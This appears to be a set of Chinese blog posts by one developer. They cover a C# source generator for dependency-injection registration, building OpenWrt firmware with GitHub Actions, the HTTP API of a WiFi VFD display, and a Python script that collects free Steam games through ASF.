前言 完整项目地址: https://github.com/chr233/XinjingdailyBot 因为项目之前是使用运行时反射来完成服务的动态注册，而源生成器是在编译前完成代码生成并参与编译，完全没有运行时的性能开销 运行时反射 - 旧的方案 标记特性 首先创建一个 Attribute, 用来标注需要扫描的服务类 namespace XinjingdailyBot.Infrastructure.Attribute; /// /// 标记服务 /// 1、如果服务是本身 直接在类上使用[AppService] /// 2、如果服务是接口 在类上使用 [AppService(ServiceType = typeof(实现接口))] /// [AttributeUsage(AttributeTargets.Class, Inherited = false)] public sealed class AppServiceAttribute : System.Attribute { /// /// 服务声明周期 /// 不给默认值的话注册的是AddSingleton /// public LifeTime ServiceLifetime { get; set; } = LifeTime.Scoped; /// /// 指定服务类型 /// public Type? ServiceType { get; set; } /// /// 是否可以从第一个接口获取服务类型 /// public bool InterfaceServiceType { get; set; } /// /// 标记服务 /// /// public AppServiceAttribute(LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; } /// /// 标记服务 /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; } /// /// 标记服务 /// /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime, bool interfaceServiceType) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; InterfaceServiceType = interfaceServiceType; } } /// /// 生命周期 /// public enum LifeTime { /// /// 瞬时 /// Transient, /// /// 范围 /// Scoped, /// /// 单例 /// Singleton } 基于反射的服务扫描器 然后再主项目启动的时候使用反射扫描添加了该 Attribute 的所有 Class 并注册服务 using System.Diagnostics.CodeAnalysis; using System.Reflection; using XinjingdailyBot.Infrastructure.Attribute; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class AppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// [RequiresUnreferencedCode("不兼容剪裁")] public static void AddAppService(this IServiceCollection services) { var cls = new string[] { "XinjingdailyBot.Repository", "XinjingdailyBot.Service", "XinjingdailyBot.Command", "XinjingdailyBot.WebAPI", }; foreach (var item in cls) { var assembly = Assembly.Load(item); Register(services, assembly); } } /// /// 动态注册服务 /// /// /// [RequiresUnreferencedCode("不兼容剪裁")] private static void Register(IServiceCollection services, Assembly assembly) { string? name = assembly.GetName().Name; _logger.Debug($"===== 注册 {name} 中的服务 ====="); uint count = 0; foreach (var type in assembly.GetTypes()) { var serviceAttribute = type.GetCustomAttribute<AppServiceAttribute>(); if (serviceAttribute != null) { count++; var serviceType = serviceAttribute.ServiceType; //情况1 适用于依赖抽象编程，注意这里只获取第一个 if (serviceType == null && serviceAttribute.InterfaceServiceType) { serviceType = type.GetInterfaces().FirstOrDefault(); } //情况2 不常见特殊情况下才会指定ServiceType，写起来麻烦 if (serviceType == null) { serviceType = type; } var lifetime = serviceAttribute.ServiceLifetime; switch (lifetime) { case LifeTime.Singleton: services.AddSingleton(serviceType, type); break; case LifeTime.Scoped: services.AddScoped(serviceType, type); break; case LifeTime.Transient: services.AddTransient(serviceType, type); break; default: services.AddTransient(serviceType, type); break; } _logger.Debug($"{lifetime} - {serviceType}"); } } _logger.Debug($"===== 注册了 {count} 个服务 ====="); } } 也不是不能用，就是感觉不够完美，而且因为使用了反射的相关特性，无法简单地启用程序集裁剪和应用 AOT，所有就想到利用 .Net 5.0 新加入的源生成器特性来实现相同的功能，避免使用反射特性和降低运行时的额外开销 源生成器 - 新的方案 源生成器官方文档 因为我的项目是按照命名空间分成了几个子项目，而源生成器只能分析当前项目的语法树，如果用文件 IO 的方式读取本地 .cs 文件也是可以实现的，但是会显示警告，因为官方并不推荐在源生成器中使用文件 IO，这会降低编译速度，而且服务类也不是经常新增，每次编译都扫描一遍也是完全没必要的 综上，我的解决方案是写一个 Powershell 脚本来扫描解决方案中的所有服务，并保存到一个文件中，然后在源生成器中读取该文件来生成服务注册的代码 服务扫描脚本 首先是服务扫描脚本 scan_service.ps1 # # @Author : Chr_ # @Date : 2024-01-18 14:25:15 # @LastEditors : Chr_ # @LastEditTime : 2024-01-18 20:15:18 # @Description : 生成依赖服务信息 # # 工作目录 $workDir = (Get-Location).Path; $outputPath = Join-Path -Path (Join-Path -Path $workDir -ChildPath "XinjingdailyBot.WebAPI") -ChildPath "Properties"; # 包名列表 $libNames = "XinjingdailyBot.Model", "XinjingdailyBot.Repository", "XinjingdailyBot.Interface", "XinjingdailyBot.Service", "XinjingdailyBot.Tasks", "XinjingdailyBot.Command"; # 输出路径 $appServicePath = Join-Path -Path $outputPath -ChildPath "appService.json"; # 扫描源文件列表 function GetSourceFileList { param ( [string]$Path ) $result = @(); # 去除 bin obj 目录 $dirs = Get-ChildItem -Path $Path -Directory -Exclude "bin", "obj" # 遍历所有 .cs 文件 foreach ($dir in $dirs) { $files = Get-ChildItem -Path $dir -Filter "*.cs" -File -Recurse # 遍历子目录文件 foreach ($file in $files) { $result += $file } } $files = Get-ChildItem -Path $Path -Filter "*.cs" -File # 遍历所有 .cs 文件 foreach ($file in $files) { $result += $file } Write-Output $result $result; } # 读取命名空间 function GetNamespace { param ( [string] $Content ) if ($Content -match "namespace\s+([^;{]+)") { $Matches[1]; } } # 读取类名/接口名 function GetClassName { param ( [string] $Content ) if ($Content -match "(?:class|interface|record)\s+([^({:\s]+)") { $Matches[1]; } } # 扫描AppServiceAttribute function ScanAppServiceAttribute { param ( [string] $Content ) if ($Content -match "\[AppService(?:Attribute)?\(([^\]]+)\)\]") { $result = @{} $arguments = $Matches[1].Split(","); foreach ($argument in $arguments) { if ($argument -match "LifeTime\.(Singleton|Transient|Scoped)") { $result["LifeTime"] = $Matches[1]; } elseif ($argument -match "typeof\(([^()]+)\)") { $result["Interface"] = $Matches[1]; } elseif ($argument -match "true|false") { $result["AutoInterface"] = $Matches[1]; } else { Write-Output $argument; } } $result; } } # 类全名表 $clsNamespaces = @{}; $appServiceAttributes = @{}; foreach ($libName in $libNames) { # 库文件路径 $libPath = Join-Path -Path $workDir -ChildPath $libName; # 获取所有源文件路径 $filePaths = GetSourceFileList -Path $libPath; # 读取Service信息和类命名空间; foreach ($filePath in $filePaths) { $fileContent = Get-Content -Path $filePath.FullName -Raw; $namespace = GetNameSpace -Content $fileContent; if ($null -eq $namespace -or $namespace -eq "" ) { continue; } $clsName = GetClassName -Content $fileContent; if ($null -eq $namespace -or $namespace -eq "" ) { continue; } $clsNamespaces[$clsName] = $namespace; $appService = ScanAppServiceAttribute -Content $fileContent; if ($null -ne $appService) { $appServiceAttributes[$clsName] = $appService; } } } $services = $appServiceAttributes.Clone(); # 生成服务信息 foreach ($service in $services.Keys) { $serviceInfo = $appServiceAttributes[$service]; $namespace = $clsNamespaces[$service]; $serviceInfo["Class"] = "$namespace.$service"; $interface = $serviceInfo["Interface"]; if ($null -ne $interface) { $ns = $clsNamespaces[$interface]; $serviceInfo["Interface"] = "$ns.$interface"; } $appServiceAttributes[$service] = $serviceInfo; } Write-Output "扫描到 $($appServiceAttributes.Count) 个服务"; $appServiceAttributes | ConvertTo-Json | Out-File -FilePath $appServicePath Write-Output "文件保存至 $appServicePath" 这个脚本的功能是遍历定义的子项目文件，然后扫描所有类和接口，以及所有带有 AppServiceAttribute 特性的服务类，最后生成一个 appService.json 运行脚本生成文件以后记得修改文件生成操作，不然在分析器里这个文件是不可见的 创建源生成器 跟创建类库一样，但是需要编辑 .csproj 文件，完整文件如下 <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <TargetFramework>netstandard2.0</TargetFramework> <EnforceExtendedAnalyzerRules>true</EnforceExtendedAnalyzerRules> <IsRoslynComponent>true</IsRoslynComponent> <GetTargetPathDependsOn>$(GetTargetPathDependsOn);GetDependencyTargetPaths</GetTargetPathDependsOn> <NoWarn>CS1570;CS1587</NoWarn> </PropertyGroup> <ItemGroup> <None Include="..\.editorconfig" Link=".editorconfig" /> </ItemGroup> <ItemGroup> <PackageReference Include="Microsoft.CodeAnalysis.Analyzers"> <PrivateAssets>all</PrivateAssets> <IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets> </PackageReference> <PackageReference Include="Microsoft.CodeAnalysis.Common"> <PrivateAssets>all</PrivateAssets> </PackageReference> <PackageReference Include="Microsoft.CodeAnalysis.CSharp"> <PrivateAssets>all</PrivateAssets> </PackageReference> <PackageReference Include="Newtonsoft.Json"> <GeneratePathProperty>true</GeneratePathProperty> <PrivateAssets>all</PrivateAssets> </PackageReference> </ItemGroup> <ItemGroup> <Compile Update="Templates.Designer.cs"> <DesignTime>True</DesignTime> <AutoGen>True</AutoGen> <DependentUpon>Templates.resx</DependentUpon> </Compile> </ItemGroup> <ItemGroup> <EmbeddedResource Update="Templates.resx"> <Generator>ResXFileCodeGenerator</Generator> <LastGenOutput>Templates.Designer.cs</LastGenOutput> </EmbeddedResource> </ItemGroup> <ItemGroup> <None Include="$(OutputPath)\$(AssemblyName).dll" Pack="true" PackagePath="analyzers/dotnet/cs" Visible="false" /> </ItemGroup> <Target Name="GetDependencyTargetPaths"> <ItemGroup> <TargetPathWithTargetPlatformMoniker Include="$(PKGNewtonsoft_Json)\lib\netstandard2.0\Newtonsoft.Json.dll" IncludeRuntimeDependency="false" /> </ItemGroup> </Target> </Project> 我所做的修改如下 将目标框架改为 netstandard2.0，目前源生成器必须用该版本 添加 EnforceExtendedAnalyzerRules 和 IsRoslynComponent 项，第一个是排除别的分析器，第二个是定义该项目是 Roslyn 组件，添加了以后会有额外的调试配置 添加 GetTargetPathDependsOn 项，意思是从定义的路径中寻找依赖库 添加 Microsoft.CodeAnalysis.Analyzers 和 Microsoft.CodeAnalysis.Common 和 Microsoft.CodeAnalysis.CSharp 库，原样从微软文档拷来的，生成器必须的依赖 添加 Newtonsoft.Json 库（可选），我使用了 Newtonsoft.Json 作为 Json 反序列化库，因此还需要额外配置引用信息（因为源生成器相当于是编译期的扩展，如果不做额外处理会报找不到Dll的错），需要在下面定义 <ItemGroup> <None Include="$(OutputPath)\$(AssemblyName).dll" Pack="true" PackagePath="analyzers/dotnet/cs" Visible="false" /> </ItemGroup> <Target Name="GetDependencyTargetPaths"> <ItemGroup> <TargetPathWithTargetPlatformMoniker Include="$(PKGNewtonsoft_Json)\lib\netstandard2.0\Newtonsoft.Json.dll" IncludeRuntimeDependency="false" /> </ItemGroup> </Target> 然后再主项目中添加项目引用，并修改引用的属性，将被引用项目类型改成分析器，然后排除所有的生成资产 </ItemGroup> <ProjectReference Include="..\XinjingdailyBot.Generator\XinjingdailyBot.Generator.csproj"> <OutputItemType>Analyzer</OutputItemType> <ReferenceOutputAssembly>false</ReferenceOutputAssembly> </ProjectReference> </ItemGroup> 服务注册源生成器 代码模板存放在 Templates.resx 中，内容如图 可以根据输出的结果反推 using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.Text; using Newtonsoft.Json; using System.Text; using XinjingdailyBot.Generator.Data; namespace XinjingdailyBot.Generator; [Generator] internal sealed class AppServiceGenerator : ISourceGenerator { const string InputFileName = "appService.json"; const string OutoutFileName = "GeneratedAppServiceExtensions.g.cs"; /// <inheritdoc/> public void Initialize(GeneratorInitializationContext context) { // 无需处理 } /// <inheritdoc/> public void Execute(GeneratorExecutionContext context) { try { var fileText = context.AdditionalFiles.Where(static x => x.Path.EndsWith(InputFileName)).FirstOrDefault() ?? throw new FileNotFoundException("缺少配置文件, 请使用 scan_service.ps1 生成"); ProcessSettingsFile(fileText, context); } catch (Exception e) { context.ReportDiagnostic( Diagnostic.Create( "XJB_01", nameof(AppServiceGenerator), $"生成注入代码失败，{e.Message}", defaultSeverity: DiagnosticSeverity.Error, severity: DiagnosticSeverity.Error, isEnabledByDefault: true, warningLevel: 0)); } } /// /// 生成文件 /// /// /// private void ProcessSettingsFile(AdditionalText xmlFile, GeneratorExecutionContext context) { var text = xmlFile.GetText(context.CancellationToken)?.ToString() ?? throw new FileLoadException("文件读取失败"); var json = JsonConvert.DeserializeObject<AppServiceData>(text) ?? throw new FileLoadException("文件读取失败"); var sb = new StringBuilder(); sb.AppendLine(Templates.AppServiceHeader); foreach (var kv in json) { var entry = kv.Value; var lifeTime = entry.LifeTime?.ToLowerInvariant() switch { "singleton" or "scoped" or "transient" => entry.LifeTime, _ => null, }; if (string.IsNullOrEmpty(lifeTime)) { continue; } if (!string.IsNullOrEmpty(entry.Class)) { if (string.IsNullOrEmpty(entry.Interface)) { sb.AppendLine(string.Format(Templates.AppServiceContent1, lifeTime, entry.Class)); } else { sb.AppendLine(string.Format(Templates.AppServiceContent2, lifeTime, entry.Interface, entry.Class)); } } } sb.AppendLine(Templates.AppServiceFooter); context.AddSource(OutoutFileName, SourceText.From(sb.ToString(), Encoding.UTF8)); } } 生成的代码示例，为避免使用 using，这里使用完整类名引用 using Microsoft.Extensions.DependencyInjection; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class GeneratedAppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// public static void AddAppServiceGenerated(this IServiceCollection services) { services.AddTransient<XinjingdailyBot.Repository.OldPostRepository>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Common.IDispatcherService, XinjingdailyBot.Service.Bot.Common.DispatcherService>(); services.AddSingleton<XinjingdailyBot.Repository.TagRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Common.IChannelService, XinjingdailyBot.Service.Bot.Common.ChannelService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAttachmentService, XinjingdailyBot.Service.Data.AttachmentService>(); services.AddScoped<XinjingdailyBot.Command.ReviewCommand>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Handler.IJoinRequestHandler, XinjingdailyBot.Service.Bot.Handler.JoinRequestHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.IBanRecordService, XinjingdailyBot.Service.Data.BanRecordService>(); services.AddSingleton<XinjingdailyBot.Repository.RejectReasonRepository>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Common.IUpdateService, XinjingdailyBot.Service.Bot.Common.UpdateService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IForwardMessageHandler, XinjingdailyBot.Service.Bot.Handler.ForwardMessageHandler>(); services.AddScoped<XinjingdailyBot.Command.CommonCommand>(); services.AddSingleton<XinjingdailyBot.Repository.LevelRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.ICommandHandler, XinjingdailyBot.Service.Bot.Handler.CommandHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.IDialogueService, XinjingdailyBot.Service.Data.DialogueService>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IPostService, XinjingdailyBot.Service.Data.PostService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IChannelOptionService, XinjingdailyBot.Service.Data.ChannelOptionService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IChannelPostHandler, XinjingdailyBot.Service.Bot.Handler.ChannelPostHandler>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IUserService, XinjingdailyBot.Service.Data.UserService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IImageHelperService, XinjingdailyBot.Service.Helper.ImageHelperService>(); services.AddSingleton<XinjingdailyBot.Interface.Data.INameHistoryService, XinjingdailyBot.Service.Data.NameHistoryService>(); services.AddScoped<XinjingdailyBot.Command.NormalCommand>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IMediaGroupService, XinjingdailyBot.Service.Data.MediaGroupService>(); services.AddScoped<XinjingdailyBot.Command.ObsoleteCommand>(); services.AddScoped<XinjingdailyBot.Command.PostCommand>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAdvertisePostService, XinjingdailyBot.Service.Data.AdvertisePostsService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAdvertiseService, XinjingdailyBot.Service.Data.AdvertiseService>(); services.AddSingleton<XinjingdailyBot.Repository.GroupRepository>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IHttpHelperService, XinjingdailyBot.Service.Helper.HttpHelperService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.ITextHelperService, XinjingdailyBot.Service.Helper.TextHelperService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IMessageHandler, XinjingdailyBot.Service.Bot.Handler.MessageHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.ICmdRecordService, XinjingdailyBot.Service.Data.CmdRecordService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IInlineQueryHandler, XinjingdailyBot.Service.Bot.Handler.InlineQueryHandler>(); services.AddTransient<XinjingdailyBot.Repository.PostRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IUserTokenService, XinjingdailyBot.Service.Data.UserTokenService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IMarkupHelperService, XinjingdailyBot.Service.Helper.MarkupHelperService>(); services.AddScoped<XinjingdailyBot.Command.AdminCommand>(); services.AddScoped<XinjingdailyBot.Command.SuperCommand>(); services.AddTransient<XinjingdailyBot.Interface.Data.IReviewStatusService, XinjingdailyBot.Service.Data.ReviewStatusService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IGroupMessageHandler, XinjingdailyBot.Service.Bot.Handler.GroupMessageHandler>(); } } 调试源生成器 首先删除源生成器项目的所有调试目标，然后新增 Roslyn Component 目标，并在右边将 Target Project 设为主项目，然后将启动项目改为生成器 然后在生成器的 Initialize 方法中开启调试器 public void Initialize(GeneratorInitializationContext context) { // 无需处理 if (!Debugger.IsAttached) { Debugger.Launch(); } } 这样就可以动态调试生成器代码了 实际使用 将启动项目改为主功能，去掉源生成器的调试代码，然后重新生成一遍解决方案，如果一切正常，将会在分析器中看到生成的代码文件 如果后续有新的服务，重新执行 scan_service.ps1 即可更新配置文件
前言 本教程基于 LEDE 项目 首先需要安装Linux虚拟机或者使用WSL虚拟环境，这里使用后者 正文 准备工作 首先自然是配置依赖环境 sudo apt -y update sudo apt -y install build-essential asciidoc binutils bzip2 gawk gettext git libncurses5-dev libz-dev patch python3 python2.7 unzip zlib1g-dev lib32gcc1 libc6-dev-i386 subversion flex uglifyjs git-core gcc-multilib p7zip p7zip-full msmtp libssl-dev texinfo libglib2.0-dev xmlto qemu-utils upx libelf-dev autoconf automake libtool autopoint device-tree-compiler g++-multilib antlr3 gperf wget curl swig rsync 因为要对LEDE固件做一些修改，所以我们需要去Folk一份源码 然后把刚刚Folk的仓库clone到本地 x> 请不要下载Zip存档，这样操作会丢失git配置，导致后续操作无法继续 # PS: 这里换成自己的仓库的地址 git clone https://github.com/chr233/lede !> 请确保处于大小写敏感的文件系统下，否则无法使用配置工具（NTFS和FAT都不行, EXT4可以） 然后使用命令就可以进入配置菜单了 make menuconfig 编译配置菜单说明（部分） Target System (Broadcom BCM27xx) #选择处理器架构 Subtarget (BCM2711 boards (64 bit)) #选择处理器 Target Profile (Raspberry Pi 4B/400/4CM (64bit)) #预制配置文件 Target Images #固件映像设置 ramdisk # 内存盘, 硬件内存充裕的话可以打开，有效提升性能 Compression # 压缩等级(none表示不压缩) Root filesystem archives #根文件系统存档类型 cpio.gz tar.gz Root filesystem images #根文件系统格式 ext4 #适用于大容量闪存,易于修改分区大小,没有恢复出厂设置的功能 squashfs #适用于小容量闪存，不可修改分区大小，有恢复出厂设置的功能 Gzip images #Gzip存档 Image Options Kernel partition size #内核分区大小，建议64M到256M，足够了 Root filesystem partition size #跟文件系统分区大小，根据闪存大小自行设定 Make /var persistent #持久化/var(开启后重启软路由/var下内容会保留) 以下设置一般无需修改 Enable experimental features by default #默认启用实验性功能 Global build settings #全局编译设置 Advanced configuration options (for developers) #高级选项(仅供开发者) Build the OpenWrt Image Builder #编译OpenWrt镜像编译器 Build the OpenWrt SDK #编译OpenWrt SDK Package the OpenWrt-based Toolchain #打包OpenWrt工具链 Image configuration #镜像选项 以下可以根据需要选择要加入的附加组件 i> M代表编译成ipk包，不内置在固件中，可以之后单独安装，*代表内置在固件中 Base system #基本组件 Administration #管理员工具 Boot Loaders #引导程序 Development #开发者工具 Extra packages #额外包 Firmware #固件工具 Fonts #字体 Kernel modules #内核模块 Languages #额外的语言(Python3,PHP,NodeJS等) Libraries #系统库 LuCI #LuCI插件(一般只需修改应用和主题) Collections #合集 Modules #模块 Applications #应用程序 Themes #主题 Protocols #协议支持 Libraries #运行库 default-settings # 默认选项(自动配置语言包) Mail #邮件 Multimedia #多媒体 Network #网络相关 Sound #音频 Utilities #各类实用软件(比如VIM) Xorg 修改完成以后，按左右方向键选中Save，按回车键保存，无需修改文件名，保存为.config即可 准备工作 为了能使用GitHub Action进行在线编译，我们需要将.config上传到自己的仓库中，可以手动上传，也可以在.gitignore中设置取消忽略 直接在.gitignore中删除/.config行即可 然后就可以使用Git进行提交了 git add .config git commit -m "update" git push 如果一切顺利，可以在自己的仓库中看到.config文件，这个就是编译配置文件了 然后切换到Actions页，点击绿色按钮启用GitHub Actions功能 然后回到仓库主页，右下角找到Release，进入Release页 点击Draft a new release创建新的Release 标题和内容可以随便填，最后点Publish release发布 然后回到Actions页，可以看到自动触发了一个workflow 然后只需要耐心等待，如果编译成功，图标会变成绿色，点进去就能下载编译好的固件了 OpenWrt_buildinfo #固件编译信息，没什么用 OpenWrt_firmware #编译好的固件本体 解压即可得到指定分区格式的镜像 如果是第一次刷入，需要刷入带factory的镜像 如果是通过网页升级，则需要上传带sysupgrade镜像 OpenWrt_package #编译好的ipk包 可以在刷入固件以后手动安装到OpenWrt中
前言 项目演示: BV1Sy4y1u7s8 固件源码: WiFi_VFD 配置工具源码: WiFi_VFD_tools 默认连接密码为CHR233，AP模式热点名为WIFI_VFD_xxxxxx，AP密码为CHRXWCHRXW 注意事项 API请求方法不限，推荐使用GET方法，只接受位于Params的参数 未给定的参数均视为 【“”】或【0】 文档性API 所有文档性API均不需要身份验证 / 说明 返回在线文档地址 请求参数 无需参数 返回值示例 online doc: https://blog.chrxw.com/archives/1970/01/01/1569.html /version 说明 返回固件版本号和编译日期 请求参数 无需参数 返回值示例 Firmware version: 1.7.0 Build date: May 7 2021 23:59:18 /test 说明 固定返回 success , 用于检查固件是否正常 请求参数 无需参数 返回值示例 success 功能性API 所有功能性API均需要提供一个名为【k】的连接密码参数，如果密码错误则返回【403】错误 如果设备的连接密码为空，代表不需要身份验证，传入任意的【k】或者不传入【k】都能通过身份验证 设备重启后会自动从闪存读取上一次保存的设置 为了降低闪存的读写损耗，默认不会将修改的设置写入闪存，如果需要保存此次设置，可以传入名为【f】的任意非空值作为参数 例如 http://....../set/mode?m=1&f=1 所有功能性API如果调用成功均返回 success, 后文均省略返回值 功能性API - 通用 /set/mode 说明 设置当前模式 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" m 模式代码 1-3 【1】:时钟模式, 2:文字模式, 3: 进度条模式 必须 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/wifi 说明 设置WiFi连接，无需【f】参数 如果测试连接成功会自动写入闪存并自动重启 如果测试连接失败则会使用上一次的设置 参数 |参数名|意义|取值范围|说明|默认值| |-|-|-| |k|连接密码|文本|用于身份验证|""| |s|WiFi SSID|文本|WiFi的名称|必须| |p|WiFi 密码|文本|WiFi的密码|必须| /set/password 说明 设置设备的连接密码，默认连接密码为【CHR233】，无需【f】参数 参数 |参数名|意义|取值范围|说明|默认值| |-|-|-| |k|连接密码|文本|用于身份验证|""| |kn|新的连接密码|文本|要设置的连接密码|""| /set/bright 说明 设置显示屏亮度 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" b 显示屏亮度 0-255 显示屏亮度，0:完全关闭显示屏，255:最高亮度 0 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/reboot 说明 重启设备 参数 |参数名|意义|取值范围|说明|默认值| |-|-|-| |k|连接密码|文本|用于身份验证|""| /set/reset 说明 格式化内置闪存，清除所有设置 参数 |参数名|意义|取值范围|说明|默认值| |-|-|-| |k|连接密码|文本|用于身份验证|""| 功能性API - 模式1 - 时钟模式 调用该模式的API后, 会自动切换到模式2, 但是对模式的修改不会写入闪存 /set/time/config 说明 设置时钟的样式 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" h 24小时 布尔 【""/0】:12小时制, 其他值:24小时制 "" a 显示上下午 布尔 【""/0】:不显示AM/PM, 其他值:显示AM/PM "" w 显示星期 布尔 【""/0】:不显示星期, 其他值:显示星期 "" f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 功能性API - 模式2 - 文字模式 调用该模式的API后, 会自动切换到模式2, 但是对模式的修改不会写入闪存 /set/text/icon 说明 控制显示屏上面一排的图标显示 参数【i】当做二进制数处理，从低到高分别对应从左到右的12个图标, 1代表点亮, 0代表熄灭 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" i 0-4095 整数 从高到低的12个二进制位代表从左到右12个图标的亮灭状态 0 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/text/spare 说明 单独控制显示屏下面一排某一位显示的内容, 显示的字符由VFD屏内置的字库决定, 传入的参数为要显示的字符编码 字库兼容ASCII编码, 非ASCII编码的区域存放了一些特殊符号, 这些特殊符号只能通过此API显示出来 未指定的位置 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" 1 第1位 0-255 【0】:无动作, 其他数值:修改第1位的字符编码 0 2 第2位 0-255 【0】:无动作, 其他数值:修改第2位的字符编码 0 3 第3位 0-255 【0】:无动作, 其他数值:修改第3位的字符编码 0 x 第x位 0-255 【0】:无动作, 其他数值:修改第x位的字符编码 0 10 第10位 0-255 【0】:无动作, 其他数值:修改第10位的字符编码 0 11 第11位 0-255 【0】:无动作, 其他数值:修改第11位的字符编码 0 12 第12位 0-255 【0】:无动作, 其他数值:修改第12位的字符编码 0 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/text/group 说明 设置需要显示的字符串, 字符串长度最大为300, 超出的部分会被截断 由于显示屏只能显示12位字符, 可以开启滚动显示模式来循环播放文本 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" w 屏显字符串 文本 要显示在屏幕上的字符串 "" f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/text/mode 说明 设置文本显示模式, 可以设置滚动显示的模式 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" m 文字显示模式 0-3 【0】:静态文本, 1:向左滚动, 2:向右滚动, 3:左右滚动 【0】 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 功能性API - 模式3 - 进度条模式 调用该模式的API后, 会自动切换到模式3, 但是对模式的修改不会写入闪存 /set/proc/config 说明 设置进度的条样式 因为屏幕只能显示12个字符, 因此只能显示4位 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" l 是否显示标签 布尔 【""/0】不显示文字标签, 其他值:显示文字标签 "" n 是否显示百分比 布尔 【""/0】不显示百分比, 其他值:显示百分比 "" i 是否启用图标进度条 布尔 【""/0】用“▮”和“ ”绘制进度条, 其他值:利用上方的图标绘制进度条(模式2的图标设定会暂时失效) "" f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/proc/value 说明 修改进度条数值 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" v 进度条百分比 0-100 进度条当前的进度 0 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/proc/string 说明 修改进度条标签（和模式2共用一个缓冲区） 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" w 屏显字符串 文本 只会显示前4位, 并且需要开启“显示标签”才会显示 0 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0
前言 最近开始关注Steam游戏的下架情报，付费游戏下架还可能买得到激活码，免费游戏下架绝大多数情况都没有办法收藏了，于是就有了这个能够自动添加免费游戏的项目 使用方法 链接 本项目链接：Github ASF配置 添加免费游戏通过ASF实现，所有首先需要配置ASF，打开ASF的IPC功能 只要在ASF.json中，加一条"IPC": true,即可 脚本安装 & 配置 首先克隆仓库 git clone https://github.com/chr233/free_game_hunter cd free_game_hunter pip3 install -r requirements.txt mv example.config.toml config.toml 在本地会存在一个data.db，会缓存机器人拥有的游戏和steam商店上的免费游戏，然后会保存统计数据，请不要自行修改data.db 然后修改config.toml，设置机器人名称即可 [bot] # 机器人设置 # 机器人名称,不能设置为asf bot_name = '1' # 多个机器人可以设置写成这样 # bot_name = ['1','2','3'] [asf] # asf设置 # ipc地址 ipc_addr = 'http://localhost:1242' # ipc连接密码,没有密码的话留空 ipc_password = '' [db] # 数据库配置 # 数据库名称 db_name = 'data.db' 运行脚本 使用Python3运行 python3 run.py 自动运行 我使用crontab实现定时执行（因为Steam限制，一个账号每小时最多添加50个Sub，所以一小时执行一次就行了） # 每个小时执行一次 0 * * * * /home/xxx/free_game_hunter/start.sh > /dev/null 2>&1 & start.sh内容： # 需要先切换到工作目录才可以，路径自行修改 cd /home/xxx/free_game_hunter python3 run.py 运行效果
